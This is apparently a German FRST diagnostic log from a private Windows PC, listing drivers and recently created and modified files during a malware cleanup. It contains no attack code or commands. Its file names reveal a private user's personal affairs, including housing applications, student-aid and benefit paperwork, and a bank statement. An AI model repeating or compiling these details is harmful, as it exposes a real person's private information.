ASUSTeK COMPUTER INC.) R1 ATKWMIACPIIO; C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSOptimization\atkwmiacpi64.sys [44712 2020-12-09] (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) R3 MpKsl56c82dde; C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{75FCA9FB-BFED-4E89-AFC9-DC1B4C66B1FC}\MpKslDrv.sys [47344 2021-02-10] (Microsoft Windows -> Microsoft Corporation) S0 WdBoot; C:\Windows\System32\drivers\wd\WdBoot.sys [48536 2020-12-04] (Microsoft Windows Early Launch Anti-Malware Publisher -> Microsoft Corporation) R0 WdFilter; C:\Windows\System32\drivers\wd\WdFilter.sys [429296 2020-12-04] (Microsoft Windows -> Microsoft Corporation) R3 WdNisDrv; C:\Windows\System32\drivers\wd\WdNisDrv.sys [70896 2020-12-04] (Microsoft Windows -> Microsoft Corporation) ==================== NetSvcs (Nicht auf der Ausnahmeliste) =================== (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.) ==================== Ein Monat (erstellte) (Nicht auf der Ausnahmeliste) ========= (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.) 2021-02-10 08:45 - 2021-02-10 08:48 - 000004410 _____ C:\Users\jessi\Desktop\Fixlog.txt 2021-02-10 00:12 - 2021-02-10 00:12 - 008457584 _____ (Malwarebytes) C:\Users\jessi\Downloads\adwcleaner_8.0.9.1.exe 2021-02-09 21:03 - 2021-02-09 21:03 - 000066927 _____ C:\Users\jessi\Desktop\FRST.txt 2021-02-09 21:02 - 2021-02-09 21:02 - 000034593 _____ C:\Users\jessi\Desktop\Addition.txt 2021-02-09 20:59 - 2021-02-09 21:01 - 000034593 _____ C:\Users\jessi\Downloads\Addition.txt 2021-02-09 20:56 - 2021-02-10 11:52 - 000023131 _____ C:\Users\jessi\Downloads\FRST.txt 2021-02-09 18:16 - 2021-02-10 11:52 - 000000000 ____D C:\FRST 2021-02-09 18:15 - 2021-02-09 18:16 - 002297344 _____ (Farbar) C:\Users\jessi\Downloads\FRST64.exe 2021-02-09 17:57 - 2021-02-09 17:58 - 000446988 _____ C:\Users\jessi\Downloads\Bestätigung Mietübernahme.pdf 2021-02-08 16:02 - 2021-02-08 16:02 - 000006701 _____ C:\Users\jessi\Downloads\Kontostand 8.02.2021.pdf 2021-02-08 15:08 - 2021-02-08 15:08 - 000040716 _____ C:\Users\jessi\Downloads\Verlängerung des Mietvertrags.pdf 2021-02-08 12:34 - 2021-02-08 12:34 - 000000215 _____ C:\Users\jessi\AppData\Local\kritadisplayrc 2021-02-08 00:21 - 2021-02-08 00:21 - 000057383 _____ C:\Users\jessi\Desktop\94e03f00-7ecf-46c4-a649-747c4b101b03.jfif 2021-02-07 03:54 - 2021-02-07 03:54 - 006853268 _____ C:\Users\jessi\Desktop\Oktopode1.kra 2021-02-07 03:53 - 2021-02-07 03:53 - 000527420 _____ C:\Users\jessi\Desktop\Telemark.kra 2021-02-07 01:29 - 2021-02-07 01:29 - 007129702 _____ C:\Users\jessi\Desktop\Oktopode.kra~ 2021-02-07 01:20 - 2021-02-07 02:40 - 026326071 _____ C:\Users\jessi\Desktop\Oktopode.kra 2021-02-06 13:15 - 2021-02-06 13:15 - 005450289 _____ C:\Users\jessi\Downloads\IMG_5890.MOV 2021-02-04 11:22 - 2021-02-04 11:22 - 000497733 _____ C:\Users\jessi\Downloads\Scan 3. Feb. 2021.pdf 2021-02-03 17:54 - 2021-02-03 17:54 - 000000000 ____D C:\Users\jessi\AppData\Roaming\R 2021-02-02 14:02 - 2021-02-02 14:03 - 000253976 _____ (Cisco Webex LLC) C:\Users\jessi\Downloads\webex (1).exe 2021-02-01 10:27 - 2021-02-01 10:27 - 000020012 _____ C:\Users\jessi\Downloads\Beurteilungen_Projektwoche_NAME.xlsx 2021-02-01 10:17 - 2021-02-01 10:17 - 000019748 _____ C:\Users\jessi\Downloads\Beurteilungen_Bildbeschreibung_NAME.xlsx 2021-01-30 12:53 - 2021-01-30 12:54 - 001292064 _____ C:\Users\jessi\Downloads\Mietangebot (2).pdf 2021-01-30 12:53 - 2021-01-30 12:53 - 001292064 _____ C:\Users\jessi\Documents\Mietangebot.pdf 2021-01-30 12:47 - 2021-01-30 12:47 - 000040716 _____ C:\Users\jessi\Documents\Verlängerung des Mietvertrags.pdf 2021-01-29 13:07 - 2021-01-29 13:07 - 000497735 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Projektwoche.pptx 2021-01-29 12:24 - 2021-01-29 12:24 - 000572647 _____ C:\Users\jessi\Downloads\Mietangebot (1).pdf 2021-01-29 12:22 - 2021-01-29 12:23 - 000572647 _____ C:\Users\jessi\Downloads\Mietangebot.pdf 2021-01-29 11:44 - 2021-01-29 11:44 - 000012972 _____ C:\Users\jessi\Desktop\Mietangebot.pdf 2021-01-27 19:04 - 2021-01-27 19:04 - 012690720 _____ C:\Users\jessi\Downloads\Lösungen Aufgabenblätter-20210127.zip 2021-01-27 16:37 - 2021-01-27 16:37 - 000061859 _____ C:\Users\jessi\Downloads\Briefmarken.1Stk.27.01.2021_1634.pdf 2021-01-27 16:10 - 2021-01-27 16:10 - 000156002 _____ C:\Users\jessi\Documents\Größe der Mietwohnung.pdf 2021-01-27 15:40 - 2021-01-27 15:40 - 002094472 _____ C:\Users\jessi\Documents\Kaution.pdf 2021-01-27 15:39 - 2021-01-27 15:39 - 001538187 _____ C:\Users\jessi\Downloads\Mietvertrag_XXX.pdf 2021-01-27 15:37 - 2021-01-27 15:37 - 000037133 _____ C:\Users\jessi\Downloads\Antrag Erstausstattung.pdf 2021-01-27 15:33 - 2021-01-27 15:33 - 000037871 _____ C:\Users\jessi\Documents\Ende des Mietverhältnis.pdf 2021-01-27 15:29 - 2021-01-27 15:29 - 000944483 _____ C:\Users\jessi\Downloads\Antrag Umzug.pdf 2021-01-27 14:56 - 2021-01-27 14:56 - 000037133 _____ C:\Users\jessi\Documents\Antrag Erstausstattung.pdf 2021-01-27 14:38 - 2021-01-27 14:38 - 000033868 _____ C:\Users\jessi\Documents\Antrag auf Ersterstattung.pdf 2021-01-27 14:23 - 2021-01-27 14:24 - 001538187 _____ C:\Users\jessi\Documents\Mietvertrag_XXX.pdf 2021-01-27 14:13 - 2021-01-27 14:13 - 000200818 _____ C:\Users\jessi\Documents\Mietkosten_XXX.pdf 2021-01-27 11:56 - 2021-01-27 13:25 - 000347780 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Bildbeschreibung_B2#23.pptx 2021-01-27 10:18 - 2021-01-27 11:54 - 000347083 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Bildbeschreibung_B2#26.pptx 2021-01-26 20:09 - 2021-01-26 20:09 - 000001865 _____ C:\Users\jessi\Downloads\untermietvertrag_muster_hartz_4.zip 2021-01-26 20:06 - 2021-01-26 20:10 - 000002862 _____ C:\Users\jessi\Documents\untermietvertrag_muster_hartz_4.js 2021-01-25 15:58 - 2021-01-25 15:58 - 000681534 _____ C:\Users\jessi\Downloads\Checkliste behördliche Bestätigung.pdf 2021-01-25 12:48 - 2021-01-25 12:48 - 000083243 _____ C:\Users\jessi\Downloads\5310 (1).pdf 2021-01-25 05:36 - 2021-01-25 05:36 - 000038507 _____ C:\Users\jessi\Downloads\Schulung Beurteilung Bildbeschreibung SR (1).pptx 2021-01-25 05:07 - 2021-01-25 05:07 - 000341654 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Bildbeschreibung.pptx 2021-01-25 05:03 - 2021-01-25 05:03 - 002775408 _____ C:\Users\jessi\Downloads\Psychologiestudierende_Beurteilerinnenschulung_Feedbackschulung (1).pptx 2021-01-25 02:14 - 2021-01-25 02:14 - 000064255 _____ C:\Users\jessi\Documents\Cards vs Humanity - Basisspiel 2 - Heidi Klums Hungersnot.pdf 2021-01-25 02:05 - 2021-01-25 02:05 - 000066494 _____ C:\Users\jessi\Documents\gameneu.pdf 2021-01-25 00:35 - 2021-01-25 00:36 - 001802405 _____ C:\Users\jessi\Documents\game.pdf 2021-01-25 00:07 - 2021-01-25 00:07 - 000064661 _____ C:\Users\jessi\Documents\Cards vs Humanity - Basisspiel 1 - Minions mit Genitalherpes.pdf 2021-01-22 14:47 - 2021-01-22 14:48 - 004482792 _____ C:\Users\jessi\Documents\Wohnung Reißhausstraße 11.pdf 2021-01-22 14:43 - 2021-01-22 14:44 - 000184228 _____ C:\Users\jessi\Documents\Mieterselbstauskunft Reißhausstraße.pdf 2021-01-21 11:08 - 2021-01-21 11:08 - 002775408 _____ C:\Users\jessi\Downloads\Psychologiestudierende_Beurteilerinnenschulung_Feedbackschulung.pptx 2021-01-21 09:49 - 2021-01-21 09:49 - 000485005 _____ C:\Users\jessi\Downloads\Bafög-Bescheid.pdf 2021-01-21 09:39 - 2021-01-21 09:39 - 000783323 _____ C:\Users\jessi\Downloads\Immatrikulationsbescheinigung-2020WS (3).pdf 2021-01-20 01:00 - 2021-01-20 01:00 - 004956075 _____ C:\Users\jessi\Downloads\2020_Book_DieTückenDerWahrnehmung.pdf 2021-01-20 00:46 - 2021-01-20 00:46 - 002590905 _____ C:\Users\jessi\Downloads\MatthiasWiersichDissertation (1).pdf 2021-01-19 20:27 - 2021-01-19 20:27 - 000025010 _____ C:\Users\jessi\Downloads\Vorstandsitzung.odt 2021-01-19 19:47 - 2021-01-19 19:47 - 000433641 _____ C:\Users\jessi\Downloads\Jan 21 Protokoll Mitgliedervollversammlung_final (1).pdf 2021-01-19 19:35 - 2021-01-19 19:35 - 000199034 _____ C:\Users\jessi\Downloads\210118 Vorstand (1).pdf 2021-01-19 19:29 - 2021-01-19 19:29 - 002274587 _____ C:\Users\jessi\Downloads\5b55c6471b8f2_111.026 FK Veranstaltungstechnik.pdf 2021-01-19 19:26 - 2021-01-19 19:26 - 000199034 _____ C:\Users\jessi\Downloads\210118 Vorstand.pdf 2021-01-19 19:25 - 2021-01-19 19:26 - 000433641 _____ C:\Users\jessi\Downloads\Jan 21 Protokoll Mitgliedervollversammlung_final.pdf 2021-01-19 19:25 - 2021-01-19 19:25 - 000000000 ____D C:\Users\jessi\Documents\Zoom 2021-01-19 18:26 - 2021-01-19 18:26 - 002877426 _____ C:\Users\jessi\Documents\RoleofEffectEmotion.pdf 2021-01-18 21:21 - 2021-01-18 21:21 - 000229155 _____ C:\Users\jessi\Downloads\Tätigkeitsbericht-Klanggerüst2019.pdf 2021-01-18 21:21 - 2021-01-18 21:21 - 000229155 _____ C:\Users\jessi\Downloads\Tätigkeitsbericht-Klanggerüst2019 (1).pdf 2021-01-18 10:06 - 2021-01-18 10:06 - 000783325 _____ C:\Users\jessi\Downloads\Immatrikulationsbescheinigung-2020WS (2).pdf 2021-01-17 02:59 - 2021-01-17 02:59 - 000090156 _____ C:\Users\jessi\Downloads\108-beat--1610848767503.wav 2021-01-16 22:22 - 2021-01-16 22:22 - 000043049 _____ C:\Users\jessi\Downloads\Free Chart.pdf 2021-01-16 01:15 - 2021-01-23 03:06 - 214486607 _____ C:\Users\jessi\Documents\JANUAR.pptx 2021-01-15 17:22 - 2021-01-15 17:22 - 000037921 _____ C:\Users\jessi\Downloads\Schulung Beurteilung Bildbeschreibung SR.pptx 2021-01-15 17:21 - 2021-01-15 17:21 - 000021149 _____ C:\Users\jessi\Documents\Beurteilungen_Schulansprache_Jessica XXX.xlsx 2021-01-15 17:11 - 2021-01-15 17:11 - 000021153 _____ C:\Users\jessi\Downloads\Beurteilungen_Schulansprache_Jessica XXX.xlsx 2021-01-15 17:02 - 2021-01-15 17:02 - 000019955 _____ C:\Users\jessi\Downloads\Beurteilungen_Schulansprache_NAME.xlsx 2021-01-15 17:01 - 2021-01-15 17:18 - 000020939 _____ C:\Users\jessi\Downloads\Beurteilungen_Quereinsteigerin_Jessica XXX.xlsx 2021-01-15 17:00 - 2021-01-15 17:00 - 000626472 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Quereinsteigerin_B2#26.pptx 2021-01-15 16:59 - 2021-01-15 16:59 - 000633052 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Quereinsteigerin_B2#24.pptx 2021-01-15 16:59 - 2021-01-15 16:59 - 000627000 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Quereinsteigerin_B2#25.pptx 2021-01-15 16:58 - 2021-01-15 16:58 - 000626777 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Quereinsteigerin_B2#22.pptx 2021-01-15 16:57 - 2021-01-15 16:57 - 000629370 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Quereinsteigerin_B2#21.pptx 2021-01-15 16:56 - 2021-01-15 16:56 - 000629741 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Quereinsteigerin_B2#20.pptx 2021-01-15 16:54 - 2021-01-15 16:54 - 000626978 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Quereinsteigerin_B2#23 (3).pptx 2021-01-15 16:53 - 2021-01-15 16:53 - 000626961 _____ C:\Users\jessi\Downloads\Feedbackgespräch_Quereinsteigerin_B2#23 (2).pptx 2021-01-15 16:52 - 2021-01-15 16:52 - 000019960 _____ C:\Users\jessi\Downloads\Beurteilungen_Quereinsteigerin_NAME.xlsx 2021-01-15 00:01 - 2021-01-15 00:01 - 000576512 _____ (Microsoft Corporation) C:\Windows\SysWOW64\hhctrl.ocx 2021-01-15 00:01 - 2021-01-15 00:01 - 000568320 _____ (Microsoft Corporation) C:\Windows\system32\PhotoScreensaver.scr 2021-01-15 00:01 - 2021-01-15 00:01 - 000500224 _____ (Microsoft Corporation) C:\Windows\SysWOW64\PhotoScreensaver.scr 2021-01-15 00:01 - 2021-01-15 00:01 - 000455680 _____ (Microsoft Corporation) C:\Windows\SysWOW64\appwiz.cpl 2021-01-15 00:01 - 2021-01-15 00:01 - 000294912 _____ (Microsoft Corporation) C:\Windows\system32\ksproxy.ax 2021-01-15 00:01 - 2021-01-15 00:01 - 000233472 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ksproxy.ax 2021-01-15 00:01 - 2021-01-15 00:01 - 000168448 _____ (Microsoft Corporation) C:\Windows\system32\VBICodec.ax 2021-01-15 00:01 - 2021-01-15 00:01 - 000135168 _____ (Microsoft Corporation) C:\Windows\SysWOW64\VBICodec.ax 2021-01-15 00:01 - 2021-01-15 00:01 - 000094720 _____ C:\Windows\system32\VirtualMonitorManager.dll 2021-01-15 00:01 - 2021-01-15 00:01 - 000083968 _____ (Microsoft Corporation) C:\Windows\system32\wscui.cpl 2021-01-15 00:01 - 2021-01-15 00:01 - 000072704 _____ (Microsoft Corporation) C:\Windows\SysWOW64\tdc.ocx 2021-01-15 00:01 - 2021-01-15 00:01 - 000067584 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wscui.cpl 2021-01-15 00:01 - 2021-01-15 00:01 - 000053248 _____ C:\Windows\SysWOW64\BWContextHandler.dll 2021-01-15 00:00 - 2021-01-15 00:00 - 000696832 _____ (Microsoft Corporation) C:\Windows\system32\hhctrl.ocx 2021-01-15 00:00 - 2021-01-15 00:00 - 000555008 _____ (Microsoft Corporation) C:\Windows\system32\appwiz.cpl 2021-01-15 00:00 - 2021-01-15 00:00 - 000458240 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mmsys.cpl 2021-01-15 00:00 - 2021-01-15 00:00 - 000167424 _____ (Microsoft Corporation) C:\Windows\SysWOW64\intl.cpl 2021-01-15 00:00 - 2021-01-15 00:00 - 000086016 _____ (Microsoft Corporation) C:\Windows\system32\tdc.ocx 2021-01-15 00:00 - 2021-01-15 00:00 - 000067072 _____ C:\Windows\system32\BWContextHandler.dll 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth9.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth8.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth7.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth6.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth5.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth4.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth3.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth2.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth18.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth17.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth16.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth15.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth12.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth11.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth10.bin 2021-01-15 00:00 - 2021-01-15 00:00 - 000000315 _____ C:\Windows\system32\DrtmAuth1.bin 2021-01-14 23:59 - 2021-01-14 23:59 - 001101312 _____ C:\Windows\SysWOW64\TextInputMethodFormatter.dll 2021-01-14 23:59 - 2021-01-14 23:59 - 000415744 _____ (Microsoft Corporation) C:\Windows\SysWOW64\winspool.drv 2021-01-14 23:59 - 2021-01-14 23:59 - 000331264 _____ C:\Windows\SysWOW64\ssdm.dll 2021-01-14 23:59 - 2021-01-14 23:59 - 000208896 _____ (Microsoft Corporation) C:\Windows\system32\intl.cpl 2021-01-14 23:59 - 2021-01-14 23:59 - 000208384 _____ C:\Windows\SysWOW64\HeatCore.dll 2021-01-14 23:59 - 2021-01-14 23:59 - 000184320 _____ (Microsoft Corporation) C:\Windows\SysWOW64\timedate.cpl 2021-01-14 23:58 - 2021-01-14 23:58 - 002590720 _____ C:\Windows\system32\dwmscene.dll 2021-01-14 23:58 - 2021-01-14 23:58 - 001841152 _____ C:\Windows\system32\TextInputMethodFormatter.dll 2021-01-14 23:58 - 2021-01-14 23:58 - 000549888 _____ (Microsoft Corporation) C:\Windows\system32\mmsys.cpl 2021-01-14 23:58 - 2021-01-14 23:58 - 000266752 _____ C:\Windows\system32\HeatCore.dll 2021-01-14 23:58 - 2021-01-14 23:58 - 000186368 _____ C:\Windows\system32\BthpanContextHandler.dll 2021-01-14 23:57 - 2021-01-14 23:57 - 000540672 _____ (Microsoft Corporation) C:\Windows\system32\winspool.drv 2021-01-14 23:57 - 2021-01-14 23:57 - 000453632 _____ C:\Windows\system32\ssdm.dll 2021-01-14 23:57 - 2021-01-14 23:57 - 000235520 _____ (Microsoft Corporation) C:\Windows\system32\timedate.cpl 2021-01-14 23:57 - 2021-01-14 23:57 - 000164864 _____ C:\Windows\system32\DataStoreCacheDumpTool.exe 2021-01-14 23:57 - 2021-01-14 23:57 - 000061440 _____ C:\Windows\system32\rdsxvmaudio.dll 2021-01-14 17:57 - 2021-01-14 17:57 - 005095370 _____ C:\Users\jessi\Documents\Wohnung XXX, XXX.pdf 2021-01-14 17:55 - 2021-01-14 17:55 - 005383370 _____ C:\Users\jessi\Downloads\Scan 14. Jan. 2021.pdf 2021-01-14 15:59 - 2021-01-14 15:59 - 000257005 _____ C:\Users\jessi\Downloads\Mieterselbstauskunft_Vorlage_beschreibbar.pdf 2021-01-13 17:16 - 2021-01-13 17:16 - 000957437 _____ C:\Users\jessi\Downloads\5309.pdf 2021-01-13 17:15 - 2021-01-13 17:15 - 000084379 _____ C:\Users\jessi\Downloads\5310a.pdf 2021-01-13 17:14 - 2021-01-13 17:14 - 000083243 _____ C:\Users\jessi\Downloads\5310.pdf 2021-01-13 12:29 - 2021-01-13 12:29 - 000461304 _____ C:\Users\jessi\Downloads\Studienkonzeption_Optimismus und Depression.pdf 2021-01-13 12:29 - 2021-01-13 12:29 - 000187827 _____ C:\Users\jessi\Downloads\Jessica XXX_ Risk-Event-Involvment.pdf 2021-01-13 12:28 - 2021-01-13 12:28 - 000433950 _____ C:\Users\jessi\Downloads\Studienkonzeption_OPTIMISMUS.pdf 2021-01-13 12:28 - 2021-01-13 12:28 - 000241692 _____ C:\Users\jessi\Downloads\Studienkonzeption_Impfen.pdf 2021-01-13 11:05 - 2021-01-13 11:05 - 002486720 _____ C:\Users\jessi\Downloads\Bildbeschreibung_CE (1).WMA 2021-01-13 11:04 - 2021-01-13 11:04 - 002486720 _____ C:\Users\jessi\Downloads\Bildbeschreibung_CE.WMA 2021-01-11 23:38 - 2021-01-11 23:38 - 000000000 ____D C:\Program Files (x86)\GPower 3.1 2021-01-11 23:37 - 2021-01-11 23:37 - 000000000 ____D C:\Users\jessi\Downloads\GPowerWin_3.1.9.7 2021-01-11 23:36 - 2021-01-11 23:37 - 013389745 _____ C:\Users\jessi\Downloads\GPowerWin_3.1.9.7.zip 2021-01-11 19:59 - 2021-01-11 19:59 - 000628727 _____ C:\Users\jessi\Downloads\Annual_review_supplemental_materials_for.pdf 2021-01-11 19:10 - 2021-01-11 19:10 - 000050181 _____ C:\Users\jessi\Downloads\scooter.mid 2021-01-11 18:11 - 2021-01-11 18:11 - 000033540 _____ C:\Users\jessi\Downloads\kalender-2021-januar.pdf 2021-01-11 17:14 - 2021-01-11 17:14 - 000083098 _____ C:\Users\jessi\Downloads\Masterarbeit _ ESE Online.pdf ==================== Ein Monat (geänderte) ================== (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.) 2021-02-10 08:56 - 2019-06-29 11:03 - 000708962 _____ C:\Windows\system32\perfh007.dat 2021-02-10 08:56 - 2019-06-29 11:03 - 000143106 _____ C:\Windows\system32\perfc007.dat 2021-02-10 08:56 - 2019-06-29 10:57 - 001632524 _____ C:\Windows\system32\PerfStringBackup.INI 2021-02-10 08:56 - 2019-03-19 05:50 - 000000000 ____D C:\Windows\INF 2021-02-10 08:53 - 2020-05-08 11:43 - 000003752 _____ C:\Windows\system32\Tasks\AsusSystemAnalysis_754F3273-0563-4F20-B12F-826510B07474 2021-02-10 08:51 - 2020-01-12 18:39 - 000000000 __SHD C:\Users\jessi\IntelGraphicsProfiles 2021-02-10 08:51 - 2020-01-12 18:08 - 000000000 ___HD C:\Intel 2021-02-10 08:51 - 2019-06-29 10:49 - 000000006 ____H C:\Windows\Tasks\SA.DAT 2021-02-10 08:50 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\system32\WinBioDatabase 2021-02-10 08:50 - 2019-03-19 05:37 - 000786432 _____ C:\Windows\system32\config\BBI 2021-02-10 08:47 - 2020-06-05 06:07 - 000000000 ____D C:\Users\jessi\AppData\LocalLow\Temp 2021-02-10 08:42 - 2019-06-29 10:49 - 000000000 ____D C:\Windows\system32\SleepStudy 2021-02-10 08:14 - 2020-05-08 11:38 - 000000000 ____D C:\Users\jessi\AppData\Roaming\Spotify 2021-02-10 02:56 - 2020-05-08 17:35 - 000000000 ____D C:\Windows\system32\MRT 2021-02-10 02:56 - 2019-03-19 05:37 - 000000000 ____D C:\Windows\CbsTemp 2021-02-10 02:54 - 2020-05-08 17:35 - 130141752 ____C (Microsoft Corporation) C:\Windows\system32\MRT.exe 2021-02-10 00:45 - 2020-05-08 11:39 - 000000000 ____D C:\Users\jessi\AppData\Local\Spotify 2021-02-09 23:44 - 2020-05-08 11:08 - 000000000 ____D C:\Program Files (x86)\Google 2021-02-09 23:43 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\SysWOW64\Macromed 2021-02-09 23:43 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\system32\Macromed 2021-02-09 23:42 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\AppReadiness 2021-02-09 23:34 - 2020-01-12 18:39 - 000000000 ____D C:\Users\jessi\AppData\Local\Packages 2021-02-09 23:34 - 2019-03-19 05:52 - 000000000 ___HD C:\Program Files\WindowsApps 2021-02-09 13:49 - 2020-12-18 01:53 - 000000374 _____ C:\Users\jessi\.vivaldi_reporting_data 2021-02-09 13:48 - 2020-05-20 08:04 - 000000000 ____D C:\Users\jessi\AppData\Roaming\Telegram Desktop 2021-02-08 16:18 - 2020-01-12 18:42 - 000003380 _____ C:\Windows\system32\Tasks\OneDrive Standalone Update Task-S-1-5-21-2182537211-1894200014-2545026951-1001 2021-02-08 16:18 - 2020-01-12 18:42 - 000002385 _____ C:\Users\jessi\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\OneDrive.lnk 2021-02-08 16:18 - 2020-01-12 18:42 - 000000000 ___RD C:\Users\jessi\OneDrive 2021-02-08 12:34 - 2020-07-14 01:16 - 000029047 _____ C:\Users\jessi\AppData\Local\kritarc 2021-02-07 15:47 - 2020-05-12 12:57 - 000000000 ____D C:\Users\jessi\AppData\Local\WebEx 2021-02-05 23:25 - 2020-11-11 11:59 - 000000000 ____D C:\Users\jessi\AppData\Roaming\RStudio 2021-02-05 23:25 - 2020-11-11 11:59 - 000000000 ____D C:\Users\jessi\AppData\Local\RStudio-Desktop 2021-02-03 17:15 - 2020-11-11 12:10 - 000000000 ____D C:\Users\jessi\AppData\Local\RStudio 2021-02-03 10:45 - 2020-05-12 12:57 - 000000000 ____D C:\Users\jessi\AppData\LocalLow\WebEx 2021-01-28 04:11 - 2020-10-08 18:52 - 000000000 ____D C:\Users\jessi\AppData\Local\DeepL_GmbH 2021-01-27 19:26 - 2020-05-20 08:41 - 000000000 ____D C:\Users\jessi\Downloads\Telegram Desktop 2021-01-27 18:29 - 2020-05-08 20:35 - 000000000 ____D C:\Users\jessi\Documents\Master Psychologie 2021-01-27 01:02 - 2020-01-12 18:10 - 000004122 _____ C:\Windows\system32\Tasks\ASUS Update Checker 2.0 2021-01-27 01:00 - 2020-01-12 18:09 - 000003764 _____ C:\Windows\system32\Tasks\ASUS Optimization 36D18D69AFC3 2021-01-26 16:55 - 2020-05-18 13:06 - 000000000 ____D C:\Users\jessi\AppData\Local\ElevatedDiagnostics 2021-01-25 16:01 - 2020-09-18 08:56 - 000000000 ____D C:\Users\jessi\Desktop\Bafög 2021-01-22 06:10 - 2020-05-08 11:03 - 000799104 ____N (Microsoft Corporation) C:\Windows\system32\MpSigStub.exe 2021-01-21 20:24 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\LiveKernelReports 2021-01-19 22:48 - 2020-09-02 01:54 - 000003700 _____ C:\Windows\system32\Tasks\MicrosoftEdgeUpdateTaskMachineUA 2021-01-19 22:48 - 2020-09-02 01:54 - 000003576 _____ C:\Windows\system32\Tasks\MicrosoftEdgeUpdateTaskMachineCore 2021-01-18 03:50 - 2019-06-29 10:54 - 000000000 ____D C:\Program Files\Microsoft Office 2021-01-17 17:44 - 2020-05-08 11:01 - 000000000 ____D C:\Users\jessi\AppData\Local\PlaceholderTileLogoFolder 2021-01-17 17:29 - 2021-01-09 23:32 - 000000000 ____D C:\Users\jessi\AppData\Roaming\HpUpdate 2021-01-17 17:24 - 2020-01-12 18:39 - 000000000 ___RD C:\Users\jessi\3D Objects 2021-01-17 17:24 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\system32\SecureBootUpdates 2021-01-17 17:23 - 2020-12-14 21:39 - 000000000 ____D C:\Program Files (x86)\Panda Security 2021-01-17 17:23 - 2019-06-29 10:49 - 000440160 _____ C:\Windows\system32\FNTCACHE.DAT 2021-01-17 17:21 - 2019-03-19 07:20 - 000000000 ____D C:\Program Files\Windows Photo Viewer 2021-01-17 17:21 - 2019-03-19 07:20 - 000000000 ____D C:\Program Files (x86)\Windows Photo Viewer 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ___SD C:\Windows\SysWOW64\F12 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ___SD C:\Windows\SysWOW64\DiagSvcs 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ___SD C:\Windows\system32\UNP 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ___SD C:\Windows\system32\F12 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ___SD C:\Windows\system32\DiagSvcs 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ___RD C:\Windows\PrintDialog 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\SysWOW64\setup 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\SysWOW64\PerceptionSimulation 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\SysWOW64\Dism 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\SysWOW64\Com 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\SysWOW64\AdvancedInstallers 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\SystemResources 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\system32\WinBioPlugIns 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\system32\SystemResetPlatform 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\system32\setup 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\system32\PerceptionSimulation 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\system32\oobe 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\system32\migwiz 